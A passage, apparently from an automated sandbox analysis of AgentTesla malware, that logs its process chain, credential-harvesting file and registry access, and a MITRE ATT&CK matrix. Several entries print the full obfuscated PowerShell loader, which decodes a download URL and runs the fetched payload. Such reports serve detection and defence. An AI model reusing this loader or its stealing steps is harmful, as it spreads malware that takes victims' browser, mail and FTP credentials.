Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 ',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Australians.Hov && echo $"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$klervske = 1;$hengivnes='substrin';$hengivnes+='g';function banuyo17($kolonihaves){$paraglossia=$kolonihaves.length-$klervske;for($grazer=5; $grazer -lt $paraglossia; $grazer+=(6)){$fradrage249+=$kolonihaves.$hengivnes.invoke($grazer, $klervske);}$fradrage249;}function decoupled($calorically){& ($sommerperioden) ($calorically);}$brodfrs=banuyo17 'b mbemstillor,kalzrehonigematllacerlmatria asse/ p.oc5klods.sy.sl0azotu prore( bjerwbuskaiufejlnligkad,yclooudstawressosstarn cran,narbejtkisse depe1kv te0incre.o lys0 nove; h na pathowscrobibndlenloved6a.skr4ma.ne;for a presixoblig6imper4uophr;fejlb kvalirshiitvtinct: gru 1carro2le,kb1diasy. demu0smi g) skin rumplgenostesolitc fo hkcyma,o blnd/paape2h.rsk0 doze1 ofma0tasti0unbad1distr0odont1vag,e tossefbrohoi semir,yvstebrnesf skirovelsexexuld/bevis1ujaev2samos1exter.thwac0sees ';$stenotaphrum=banuyo17 'trbl,ukomplsstatsesmaalr hj,o-det,ualovfog ,asteforomn un ntgreg ';$amputationer=banuyo17 'sederh ar.dtfremsttredip.luklsgalde: ansk/fr.ml/antiadkvster mandifripavsati.eg.lio. sikkgseb sobyto,omaximgnontelbal ieeinar.syntacarb.jo ,gebmbalda/interugonofcovera?takeueuvistxkvit,pr,maioindbertranst pree=caissdposteobowlewcorn,n steeluns.lomatera boncd besi&o erfiunburdsynta=prten1,aghuopars lmelongimper4underrsho.t0excurhtang,luntrejaut el,aben5astho0ton.dh u,viygodkevmel ed incrucylinsi.olaeurtep_distrshypertafl s-kulbrcscrevkhugorhthermkimperipadd r db.f- frasd.vervrno,ar ';$laservid=banuyo17 'mili.>.nten ';$sommerperioden=banuyo17 'ga boifor.seforndxv ars ';$pseudonitrosite = banuyo17 'bru,eecr.chc p.coh.odomo.kuds afsni%sol,eare.sepunderptruand.icebasavortsectiaunder%hangm\ene gaskotjusysteswopudt sprorallosaindsklpremiigigg.a balln forssamygd. alsihnormtost rmvcorka chond& sk u& stan sp,see orn,cerhvehmonaroterep .epu$ coal ';decoupled (banuyo17 'overk$kkkeng j,gellivsooud,tibsleepaphotolbarda:newsdf os.aumultilfe.tud typhmtamaraklaveaellipnforsteparalroptag=stran(,torkc,anghmrea tdnerve skunk/brrencindl langb$undulpindh spr.oceorganuhemlidaust olokalnterroi immattrombrr.dimocon,es lig i mcmutdknavemotor)inds ');decoupled (banuyo17 ',rnsk$f,stegsili lsaksnopr.blbaghanabeseeltriak:staffbd wcoogallftgngerr undey cecelko,gelemotii.appedsnakea k ajeu.ret=uddel$fyrina,lutmm.osimpfra aubekentsubdeacostltindpoicholaosemiwnopstaebuffer unsy.commissynkrpmaterl polliflight scra( fusi$fr igllnsuma cir.s metaekunstrmoderv optaibirgidfinge)bidra ');$amputationer=$botryllidae[0];decoupled (banuyo17 ',lyve$ek,orgmiswrltherioplenubfedtialfterltexti: temkfiskerisocyeovergm ubee parar kichedyna topspa= svignsvin,efibe,w port-krakeo urtzbhypopjga,eke unvocprfert bulb sl,ghsdiscoy errasshankterhere ma gmsmert.dubionhaworeprototsliv.. rojwfenesekv,enb ,uricmyreulstudei prstebssemnbogomtbeby ');decoupled (banuyo17 'arbej$jenirkstjerrbegitebarsemhaandeudsidrmrke.e fordtjunki.lensahnovemediakoasam
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$klervske = 1;$hengivnes='substrin';$hengivnes+='g';function banuyo17($kolonihaves){$paraglossia=$kolonihaves.length-$klervske;for($grazer=5; $grazer -lt $paraglossia; $grazer+=(6)){$fradrage249+=$kolonihaves.$hengivnes.invoke($grazer, $klervske);}$fradrage249;}function decoupled($calorically){& ($sommerperioden) ($calorically);}$brodfrs=banuyo17 'b mbemstillor,kalzrehonigematllacerlmatria asse/ p.oc5klods.sy.sl0azotu prore( bjerwbuskaiufejlnligkad,yclooudstawressosstarn cran,narbejtkisse depe1kv te0incre.o lys0 nove; h na pathowscrobibndlenloved6a.skr4ma.ne;for a presixoblig6imper4uophr;fejlb kvalirshiitvtinct: gru 1carro2le,kb1diasy. demu0smi g) skin rumplgenostesolitc fo hkcyma,o blnd/paape2h.rsk0 doze1 ofma0tasti0unbad1distr0odont1vag,e tossefbrohoi semir,yvstebrnesf skirovelsexexuld/bevis1ujaev2samos1exter.thwac0sees ';$stenotaphrum=banuyo17 'trbl,ukomplsstatsesmaalr hj,o-det,ualovfog ,asteforomn un ntgreg ';$amputationer=banuyo17 'sederh ar.dtfremsttredip.luklsgalde: ansk/fr.ml/antiadkvster mandifripavsati.eg.lio. sikkgseb sobyto,omaximgnontelbal ieeinar.syntacarb.jo ,gebmbalda/interugonofcovera?takeueuvistxkvit,pr,maioindbertranst pree=caissdposteobowlewcorn,n steeluns.lomatera boncd besi&o erfiunburdsynta=prten1,aghuopars lmelongimper4underrsho.t0excurhtang,luntrejaut el,aben5astho0ton.dh u,viygodkevmel ed incrucylinsi.olaeurtep_distrshypertafl s-kulbrcscrevkhugorhthermkimperipadd r db.f- frasd.vervrno,ar ';$laservid=banuyo17 'mili.>.nten ';$sommerperioden=banuyo17 'ga boifor.seforndxv ars ';$pseudonitrosite = banuyo17 'bru,eecr.chc p.coh.odomo.kuds afsni%sol,eare.sepunderptruand.icebasavortsectiaunder%hangm\ene gaskotjusysteswopudt sprorallosaindsklpremiigigg.a balln forssamygd. alsihnormtost rmvcorka chond& sk u& stan sp,see orn,cerhvehmonaroterep .epu$ coal ';decoupled (banuyo17 'overk$kkkeng j,gellivsooud,tibsleepaphotolbarda:newsdf os.aumultilfe.tud typhmtamaraklaveaellipnforsteparalroptag=stran(,torkc,anghmrea tdnerve skunk/brrencindl langb$undulpindh spr.oceorganuhemlidaust olokalnterroi immattrombrr.dimocon,es lig i mcmutdknavemotor)inds ');decoupled (banuyo17 ',rnsk$f,stegsili lsaksnopr.blbaghanabeseeltriak:staffbd wcoogallftgngerr undey cecelko,gelemotii.appedsnakea k ajeu.ret=uddel$fyrina,lutmm.osimpfra aubekentsubdeacostltindpoicholaosemiwnopstaebuffer unsy.commissynkrpmaterl polliflight scra( fusi$fr igllnsuma cir.s metaekunstrmoderv optaibirgidfinge)bidra ');$amputationer=$botryllidae[0];decoupled (banuyo17 ',lyve$ek,orgmiswrltherioplenubfedtialfterltexti: temkfiskerisocyeovergm ubee parar kichedyna topspa= svignsvin,efibe,w port-krakeo urtzbhypopjga,eke unvocprfert bulb sl,ghsdiscoy errasshankterhere ma gmsmert.dubionhaworeprototsliv.. rojwfenesekv,enb ,uricmyreulstudei prstebssemnbogomtbeby ');decoupled (banuyo17 'arbej$jenirkstjerrbegitebarsemhaandeudsidrmrke.e fordtjunki.lensahnovemediakoasam
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$klervske = 1;$hengivnes='substrin';$hengivnes+='g';function banuyo17($kolonihaves){$paraglossia=$kolonihaves.length-$klervske;for($grazer=5; $grazer -lt $paraglossia; $grazer+=(6)){$fradrage249+=$kolonihaves.$hengivnes.invoke($grazer, $klervske);}$fradrage249;}function decoupled($calorically){& ($sommerperioden) ($calorically);}$brodfrs=banuyo17 'b mbemstillor,kalzrehonigematllacerlmatria asse/ p.oc5klods.sy.sl0azotu prore( bjerwbuskaiufejlnligkad,yclooudstawressosstarn cran,narbejtkisse depe1kv te0incre.o lys0 nove; h na pathowscrobibndlenloved6a.skr4ma.ne;for a presixoblig6imper4uophr;fejlb kvalirshiitvtinct: gru 1carro2le,kb1diasy. demu0smi g) skin rumplgenostesolitc fo hkcyma,o blnd/paape2h.rsk0 doze1 ofma0tasti0unbad1distr0odont1vag,e tossefbrohoi semir,yvstebrnesf skirovelsexexuld/bevis1ujaev2samos1exter.thwac0sees ';$stenotaphrum=banuyo17 'trbl,ukomplsstatsesmaalr hj,o-det,ualovfog ,asteforomn un ntgreg ';$amputationer=banuyo17 'sederh ar.dtfremsttredip.luklsgalde: ansk/fr.ml/antiadkvster mandifripavsati.eg.lio. sikkgseb sobyto,omaximgnontelbal ieeinar.syntacarb.jo ,gebmbalda/interugonofcovera?takeueuvistxkvit,pr,maioindbertranst pree=caissdposteobowlewcorn,n steeluns.lomatera boncd besi&o erfiunburdsynta=prten1,aghuopars lmelongimper4underrsho.t0excurhtang,luntrejaut el,aben5astho0ton.dh u,viygodkevmel ed incrucylinsi.olaeurtep_distrshypertafl s-kulbrcscrevkhugorhthermkimperipadd r db.f- frasd.vervrno,ar ';$laservid=banuyo17 'mili.>.nten ';$sommerperioden=banuyo17 'ga boifor.seforndxv ars ';$pseudonitrosite = banuyo17 'bru,eecr.chc p.coh.odomo.kuds afsni%sol,eare.sepunderptruand.icebasavortsectiaunder%hangm\ene gaskotjusysteswopudt sprorallosaindsklpremiigigg.a balln forssamygd. alsihnormtost rmvcorka chond& sk u& stan sp,see orn,cerhvehmonaroterep .epu$ coal ';decoupled (banuyo17 'overk$kkkeng j,gellivsooud,tibsleepaphotolbarda:newsdf os.aumultilfe.tud typhmtamaraklaveaellipnforsteparalroptag=stran(,torkc,anghmrea tdnerve skunk/brrencindl langb$undulpindh spr.oceorganuhemlidaust olokalnterroi immattrombrr.dimocon,es lig i mcmutdknavemotor)inds ');decoupled (banuyo17 ',rnsk$f,stegsili lsaksnopr.blbaghanabeseeltriak:staffbd wcoogallftgngerr undey cecelko,gelemotii.appedsnakea k ajeu.ret=uddel$fyrina,lutmm.osimpfra aubekentsubdeacostltindpoicholaosemiwnopstaebuffer unsy.commissynkrpmaterl polliflight scra( fusi$fr igllnsuma cir.s metaekunstrmoderv optaibirgidfinge)bidra ');$amputationer=$botryllidae[0];decoupled (banuyo17 ',lyve$ek,orgmiswrltherioplenubfedtialfterltexti: temkfiskerisocyeovergm ubee parar kichedyna topspa= svignsvin,efibe,w port-krakeo urtzbhypopjga,eke unvocprfert bulb sl,ghsdiscoy errasshankterhere ma gmsmert.dubionhaworeprototsliv.. rojwfenesekv,enb ,uricmyreulstudei prstebssemnbogomtbeby ');decoupled (banuyo17 'arbej$jenirkstjerrbegitebarsemhaandeudsidrmrke.e fordtjunki.lensahnovemediakoasam	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$klervske = 1;$hengivnes='substrin';$hengivnes+='g';function banuyo17($kolonihaves){$paraglossia=$kolonihaves.length-$klervske;for($grazer=5; $grazer -lt $paraglossia; $grazer+=(6)){$fradrage249+=$kolonihaves.$hengivnes.invoke($grazer, $klervske);}$fradrage249;}function decoupled($calorically){& ($sommerperioden) ($calorically);}$brodfrs=banuyo17 'b mbemstillor,kalzrehonigematllacerlmatria asse/ p.oc5klods.sy.sl0azotu prore( bjerwbuskaiufejlnligkad,yclooudstawressosstarn cran,narbejtkisse depe1kv te0incre.o lys0 nove; h na pathowscrobibndlenloved6a.skr4ma.ne;for a presixoblig6imper4uophr;fejlb kvalirshiitvtinct: gru 1carro2le,kb1diasy. demu0smi g) skin rumplgenostesolitc fo hkcyma,o blnd/paape2h.rsk0 doze1 ofma0tasti0unbad1distr0odont1vag,e tossefbrohoi semir,yvstebrnesf skirovelsexexuld/bevis1ujaev2samos1exter.thwac0sees ';$stenotaphrum=banuyo17 'trbl,ukomplsstatsesmaalr hj,o-det,ualovfog ,asteforomn un ntgreg ';$amputationer=banuyo17 'sederh ar.dtfremsttredip.luklsgalde: ansk/fr.ml/antiadkvster mandifripavsati.eg.lio. sikkgseb sobyto,omaximgnontelbal ieeinar.syntacarb.jo ,gebmbalda/interugonofcovera?takeueuvistxkvit,pr,maioindbertranst pree=caissdposteobowlewcorn,n steeluns.lomatera boncd besi&o erfiunburdsynta=prten1,aghuopars lmelongimper4underrsho.t0excurhtang,luntrejaut el,aben5astho0ton.dh u,viygodkevmel ed incrucylinsi.olaeurtep_distrshypertafl s-kulbrcscrevkhugorhthermkimperipadd r db.f- frasd.vervrno,ar ';$laservid=banuyo17 'mili.>.nten ';$sommerperioden=banuyo17 'ga boifor.seforndxv ars ';$pseudonitrosite = banuyo17 'bru,eecr.chc p.coh.odomo.kuds afsni%sol,eare.sepunderptruand.icebasavortsectiaunder%hangm\ene gaskotjusysteswopudt sprorallosaindsklpremiigigg.a balln forssamygd. alsihnormtost rmvcorka chond& sk u& stan sp,see orn,cerhvehmonaroterep .epu$ coal ';decoupled (banuyo17 'overk$kkkeng j,gellivsooud,tibsleepaphotolbarda:newsdf os.aumultilfe.tud typhmtamaraklaveaellipnforsteparalroptag=stran(,torkc,anghmrea tdnerve skunk/brrencindl langb$undulpindh spr.oceorganuhemlidaust olokalnterroi immattrombrr.dimocon,es lig i mcmutdknavemotor)inds ');decoupled (banuyo17 ',rnsk$f,stegsili lsaksnopr.blbaghanabeseeltriak:staffbd wcoogallftgngerr undey cecelko,gelemotii.appedsnakea k ajeu.ret=uddel$fyrina,lutmm.osimpfra aubekentsubdeacostltindpoicholaosemiwnopstaebuffer unsy.commissynkrpmaterl polliflight scra( fusi$fr igllnsuma cir.s metaekunstrmoderv optaibirgidfinge)bidra ');$amputationer=$botryllidae[0];decoupled (banuyo17 ',lyve$ek,orgmiswrltherioplenubfedtialfterltexti: temkfiskerisocyeovergm ubee parar kichedyna topspa= svignsvin,efibe,w port-krakeo urtzbhypopjga,eke unvocprfert bulb sl,ghsdiscoy errasshankterhere ma gmsmert.dubionhaworeprototsliv.. rojwfenesekv,enb ,uricmyreulstudei prstebssemnbogomtbeby ');decoupled (banuyo17 'arbej$jenirkstjerrbegitebarsemhaandeudsidrmrke.e fordtjunki.lensahnovemediakoasam	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Queries volume information: C:\Program Files (x86)\Windows Mail\wab.exe VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0000000C.00000002.2645999528.0000000025C45000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2645999528.0000000025C6C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Program Files (x86)\Windows Mail\wab.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match

File source: 0000000C.00000002.2645999528.0000000025C45000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0000000C.00000002.2645999528.0000000025C45000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2645999528.0000000025C6C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	321 Scripting	Valid Accounts	221 Windows Management Instrumentation	321 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	111 Process Injection	2 Obfuscated Files or Information	11 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	1 Credentials in Registry	211 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	11 Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
